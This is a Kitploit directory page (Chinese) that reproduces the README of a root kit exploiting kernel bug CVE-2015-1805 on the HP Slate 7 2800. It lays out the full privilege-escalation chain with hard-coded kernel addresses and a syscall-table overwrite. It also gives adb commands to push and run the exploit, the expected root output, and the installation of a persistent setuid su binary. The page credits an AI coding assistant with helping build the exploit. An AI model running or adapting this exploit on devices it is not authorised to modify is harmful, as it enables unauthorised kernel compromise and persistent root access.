Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
hp-slate7-root-kit — HP Slate 7 2800 Android 4.1.1 的 Root 工具包,利用 CVE-2015-1805 漏洞。 | Kitploit
工具/GitHubGitHub/valentineus/hp-slate7-root-kit
Android安全权限提升持久化机制漏洞分析漏洞利用后渗透利用移动安全Payload 开发二进制利用
GitHubvalentineus/hp-slate7-root-kit

hp-slate7-root-kit

HP Slate 7 2800 Android 4.1.1 的 Root 工具包,利用 CVE-2015-1805 漏洞。

13天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

适用于 Android 4.1.1 的 HP Slate 7 2800 Root

English | Русский

本仓库包含一套完整、自包含的工具包,用于通过利用本地漏洞 CVE-2015-1805,在运行固件 1.05.18 和内核 Linux 3.0.8+ 的 HP Slate 7 2800 上获取持久的 root 访问权限。该工具包已在真实平板上运行,并且结果已在一个全新的 ADB 会话中以及正常重启后得到验证。

这不是通用的 Android root 工具。该漏洞利用程序特定于此 HP 内核配置。请勿在其他型号、固件或内核版本上运行它。

已验证的配置

参数已验证的值
制造商和型号HP Slate 7 2800
Android4.1.1,API 16,构建版本 JRO03H
产品 / 设备t7h / pine
处理器Rockchip RK3066,ARMv7
构建指纹hp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys
内核3.0.8+ #13 SMP PREEMPT Tue Jul 28 15:24:30 CST 2015
ABI32 位 ARM EABI5
SELinux内核配置中不存在(CONFIG_SECURITY 已禁用)
/system 分区ext4,默认以只读方式挂载

您可以检查设备而无需进行任何更改:

root@kitploit:~
adb devices -l
adb shell getprop ro.product.model
adb shell getprop ro.build.fingerprint
adb shell getprop ro.build.version.sdk
adb shell cat /proc/version

或者,使用下面的脚本。如果指纹或内核版本不匹配,它将拒绝继续:

root@kitploit:~
./scripts/check-target.sh
./scripts/check-target.sh ADB_SERIAL

仓库内容

root@kitploit:~
.
├── bin/
│   ├── hp-slate7-cve-2015-1805-root  # verified exploit
│   ├── hp-slate7-install-root        # installs su into /system
│   └── hp-slate7-su                  # minimal setuid-root wrapper
├── src/
│   ├── exploit/                      # CVE source and device-specific changes
│   ├── installer/install-root.c      # installer source
│   └── su/rootsh.S                   # minimal su source
├── scripts/
│   ├── build.sh                      # rebuilds all three ELF files
│   ├── check-target.sh               # safe compatibility check
│   └── root-device.sh                # verifies, uploads, and runs the kit
├── SHA256SUMS                        # hashes of the verified bin/* files
├── NOTICE                            # attribution for the original PoC
└── LICENSE                           # GPL-3.0

文件格式与用途

已验证二进制文件的 SHA-256 校验和:

root@kitploit:~
6bf8ea09efb9f409dfc7aa5efbc3108e5c1a19fc5b07ae913328ef4639a7644f  bin/hp-slate7-cve-2015-1805-root
4857c71efc846636afc5b50d7f3c971c6eb68d3760f652086f2a38c5dc50bc4a  bin/hp-slate7-install-root
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e  bin/hp-slate7-su

在 macOS 上验证:

root@kitploit:~
shasum -a 256 -c SHA256SUMS

在 Linux 上验证:

root@kitploit:~
sha256sum -c SHA256SUMS

在平板上使用 bin/ 中的文件:这些就是在设备上验证过的确切字节。build/ 目录用于本地重新构建,并且不受 Git 跟踪。

使用的漏洞

CVE-2015-1805 是较旧 Linux 内核中 pipe_read() 和 pipe_write() 实现的一个缺陷。当原子复制失败时,代码错误地继续遍历 iovec 数组,可能导致指针越界移动。结果,本地非特权进程可以破坏内存、使内核崩溃或提升其权限。该机制的详细说明发布在 oss-security 上。修复可以在上游 Linux 的提交 637b58c 和 f0d1bec 等处找到。

平板的 3.0.8+ 内核被证明存在漏洞。在修改内核内存之前,使用一个无害的探测程序单独测试了相同的竞态条件,该探测程序的两个写入目标都位于测试进程的普通内存中。它报告了 CVE-2015-1805: VULNERABLE,并且平板在 ADB 上仍然可以访问。

提权链

  1. 该漏洞利用程序在 readv()、内存映射更改以及内核易受攻击的管道代码处理大型 iovec 数组之间制造竞态条件。
  2. 由此产生的写入原语将 sys_call_table 中未使用的第 222 项临时替换为漏洞利用进程中一个小型 ARM 蹦床(trampoline)的地址。
  3. 表地址通过 0xffff0008 处的高向量计算。在已验证的设备上,该指令为 0xe59ff410,其字面量指向 vector_swi = 0xc04d0d40。
  4. vector_swi 和 sys_call_table 是使用 rk30_t7h_dvt_defconfig 配置从官方 HP 开源 1.05.10 内核归档(归档 SHA-256:dd69f0468973714fd9ba22cdfea7e96f39f651ee51b9cb537728d9dcadbafda2)独立汇编出来的。它们的偏移量为 0xc4。已安装的固件既没有 OABI 也没有 seccomp,因此该表的最终运行时地址是 0xc04d0e04。
  5. 该蹦床恰好由六条 ARM 指令组成。它获取当前的 sp,将其按 8,192 字节的内核栈大小对齐,并且只将 写入偏移量 8 处的 。它不包含外部调用、序言或编译器运行时代码。

旧内核头文件中的原始 current_thread_info() 函数与 -O0 下的现代 Clang 不兼容:早期原型读取了一个未初始化的字而不是 sp 寄存器,可能导致内核崩溃。在本仓库中,它已被一个经过验证的裸 ARM 蹦床(naked ARM trampoline)取代。早期二进制文件不包含在本仓库中。

所需软件

使用 bin/ 中现成的文件

  • 一台运行 macOS 或 Linux 的计算机;如果安装了合适的 ADB USB 驱动程序,Windows 也可以,但此过程仅在 macOS 上验证过;
  • 来自 Android SDK Platform Tools 的 adb;
  • 一根可用的 USB 数据线;
  • 在平板上启用 USB 调试并接受计算机的 RSA 密钥。

您不需要 Android NDK、Java、Python、fastboot、解锁的引导加载程序、自定义 recovery、root APK 或网络访问。漏洞利用程序和负载都是静态链接的。

从源码重新构建

  • Zig 0.15.2;解压便携归档即可,无需系统级软件包安装;
  • Bash;
  • 用于验证结果的 shasum 或 sha256sum。

仍然不需要 Android NDK:Zig 提供了 ARM musl 交叉工具链。

准备平板

  1. 将平板充电至至少 50%。在已验证的运行过程中,它大约为 80%。
  2. 正常启动 Android 并解锁屏幕。
  3. 启用“开发者选项”->“USB 调试”。
  4. 连接数据线,如果 Android 显示 USB 调试 RSA 提示,请接受。
  5. 不要同时运行 Towelroot、KingRoot 或其他 root 应用程序。
  6. 关闭不必要的应用程序。该漏洞利用程序会创建大量线程,接近这台旧设备的极限。

检查连接:

root@kitploit:~
adb devices -l

状态必须是 device,而不是 offline 或 unauthorized。

获取 root:手动操作步骤

切换到仓库根目录,首先验证设备是否完全匹配:

root@kitploit:~
./scripts/check-target.sh

如果连接了多台设备,请使用 adb -s SERIAL 将序列号传递给每条命令,或设置 ANDROID_SERIAL 环境变量。

使用它们彼此期望的名称上传这三个文件:

root@kitploit:~
adb push bin/hp-slate7-cve-2015-1805-root /data/local/tmp/cve-2015-1805-root
adb push bin/hp-slate7-install-root /data/local/tmp/install-root
adb push bin/hp-slate7-su /data/local/tmp/rootsh-armv7

设置权限并将暂存的文件刷新到存储:

root@kitploit:~
adb shell 'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync'

运行漏洞利用程序一次:

root@kitploit:~
adb shell '/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc'

已验证的成功输出:

root@kitploit:~
offset:c4
addr:c04d0d40
    [+] Done
restored syscall 222 to 0xc051900c
exploit rc=0 uid=0 gid=0
installer uid=0 gid=0
install-su ok
DEVICE_RC=0

如果设备从 ADB 中消失几秒钟,请不要再次运行漏洞利用程序。等待它重新出现:

root@kitploit:~
adb wait-for-device

自动化流程

该脚本验证指纹和内核,检查 SHA-256 哈希,上传文件,要求您输入 ROOT,运行漏洞利用程序,并验证 uid=0:

root@kitploit:~
./scripts/root-device.sh

对于多台设备:

root@kitploit:~
./scripts/root-device.sh --serial ADB_SERIAL

--yes 选项禁用交互式确认,仅用于有意的自动化使用:

root@kitploit:~
./scripts/root-device.sh --serial ADB_SERIAL --yes

验证结果

从全新的 ADB shell 中验证 root,而不是从漏洞利用进程的 uid 中验证:

root@kitploit:~
adb shell 'id; /system/xbin/su -c id; echo SU_RC=$?'
adb shell 'ls -l /system/xbin/su'
adb shell 'cat /proc/mounts' | grep ' /system '

预期输出:

root@kitploit:~
uid=2000(shell) ...
uid=0(root) gid=0(root) ...
SU_RC=0
-rwsr-sr-x root root ... su
... /system ext4 ro,...

接下来,仅删除临时暂存文件。已安装的 /system/xbin/su 不会被删除:

root@kitploit:~
adb shell '/system/xbin/su -c "rm -f /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync"'

该工具包不会创建 /data/local.prop 或修改用户数据。

执行正常重启,然后验证持久的 root:

root@kitploit:~
adb reboot
adb wait-for-device
adb shell getprop sys.boot_completed
adb shell '/system/xbin/su -c id'

经过验证的平板在重启后产生了以下结果:

root@kitploit:~
uid=0(root) gid=0(root) ...

已安装的文件从平板中拉回,并与 bin/hp-slate7-su 逐字节匹配:

root@kitploit:~
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e

使用 root

要运行单条命令:

root@kitploit:~
adb shell '/system/xbin/su -c id'
adb shell '/system/xbin/su -c "ls -la /data"'

hp-slate7-su 是一个刻意保持极简的包装器,没有 Android 应用程序、确认提示、守护进程或权限日志。任何能够执行 /system/xbin/su 的本地进程都有可能获得 root。root 之后,请不要将这台过时的平板用于敏感数据,也不要安装不受信任的 APK。

从源码重新构建

指定便携版 Zig 0.15.2 的路径,或将 zig 添加到 PATH 中:

root@kitploit:~
ZIG_BIN=/absolute/path/to/zig ./scripts/build.sh

输出将写入 build/:

root@kitploit:~
build/hp-slate7-cve-2015-1805-root
build/hp-slate7-install-root
build/hp-slate7-su

检查文件格式:

root@kitploit:~
file build/hp-slate7-*

这三个文件必须都是 32 位 ARM EABI5 ELF 文件。使用已验证的 Zig 0.15.2 版本,安装程序和 su 的重新构建结果与 bin/ 中的文件逐字节相同。漏洞利用程序的哈希可能因 DWARF 和链接器元数据中的绝对路径而不同;其关键的六指令蹦床在验证构建中是逐字节相同的。重新构建不会替换 bin/ 中实际在平板上运行过的文件的校验和。

故障排除

unauthorized

解锁屏幕并接受 USB 调试 RSA 密钥。如果提示没有出现,请重新连接数据线并再次运行 adb devices -l。

offline 或设备消失

等待几秒钟并运行 adb wait-for-device。如果平板已关机,请使用电源按钮正常开机。不要并发运行第二个漏洞利用实例。

漏洞利用程序没有打印 [+] Done

该 CVE 是通过竞态条件利用的,理论上可能会失败。在进行一次重试之前,请重启平板。不要循环运行该二进制文件:竞态条件失败可能会导致内核崩溃。

su 存在,但命令以退出码 127 结束

验证文件的 SHA-256 哈希。早期研究用的包装器在 ARM 上错误地处理了 argv,并以退出码 127 结束。本仓库包含修正后的 656 字节版本,其 SHA-256 为 40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e。

HP 标志仍停留在屏幕上,但 ADB 已经可用

检查 Android 的实际状态:

root@kitploit:~
adb shell getprop sys.boot_completed
adb shell dumpsys window windows

sys.boot_completed=1 表示 Android 已经启动完成,即使物理显示屏仍显示旧画面。

已测试的内容和未使用的内容

其他已知的方法已被安全地排除或发现不适用于此设备:CVE-2013-6282、CVE-2013-2094、CVE-2012-0056、CVE-2013-4787、Dirty COW 和 PingPongRoot。Towelroot/CVE-2014-3153 会使此内核崩溃,因此不得使用。CVE-2014-7951 可以通过 ADB 恢复路径遍历写入文件,但 HP 固件不会加载 /data/local.prop,因此该方法无法提供 root。

引导加载程序使用旧的 Rockchip 加载器,没有作为标准 fastboot 设备出现。此结果不需要刷入 recovery 或解锁引导加载程序。

来源与许可证

漏洞利用代码基于 mobilelinux/iovy_root_research 的 f945796 提交,该提交又引用了 dosomder/iovyroot。针对特定设备的更改包括减少线程数量、修复超时、使用裸 ARM 蹦床(naked ARM trampoline)、提前恢复系统调用表、验证 cred 以及禁用不适用的 SELinux 分支。

原始声明已被保留。本仓库以 GPL-3.0 许可分发;请参阅 LICENSE 和 NOTICE。

免责声明

利用内核内存总是伴随设备重启、系统损坏或数据丢失的风险。此工具包仅适用于您自己拥有的、固件完全匹配的 HP Slate 7 2800。请备份所有重要数据,并且不要将其用于属于他人的设备。


安全研究和文档编写是在 OpenAI Codex 的协助下完成的,由 GPT-5.6 Sol 提供支持,并具有 Daybreak Blue 网络安全访问权限。


仓库位置:官方源 · github · 只读镜像

下载工具
文件格式大小用途
bin/hp-slate7-cve-2015-1805-rootELF 32 位 ARM EABI5,静态链接,未去除符号2,722,320 字节利用 CVE 获取 uid 0,并启动安装程序
bin/hp-slate7-install-rootELF 32 位 ARM EABI5,静态链接,已去除符号22,596 字节临时将 /system 重新挂载为 rw,安装 su,并恢复为 ro
bin/hp-slate7-suELF 32 位 ARM EABI5,静态链接,已去除符号656 字节调用 setresgid(0,0,0) 和 setresuid(0,0,0),然后启动 /system/bin/sh
-1
thread_info.addr_limit
  • 临时系统调用返回后,第 222 项立即从第 223 项恢复。在 HP 源码中,这两项都是 sys_ni_syscall;在已验证的内核上恢复的指针是 0xc051900c。
  • 一旦 addr_limit 被扩大,管道复制就会读取当前的 task_struct,定位 cred,并使用当前的 uid/gid 值、对齐、引用计数以及 real_cred == cred 条件来验证该结构。只有在这些检查之后,uid/gid 值才会被清零,能力掩码才会被填满为 1。
  • 该进程获得 uid=0 并启动 /data/local/tmp/install-root。安装程序将 /system 重新挂载为 rw,将负载复制到 /system/xbin/su,分配 root:root 所有者和权限 06755,调用 sync(),并将 /system 重新挂载为只读。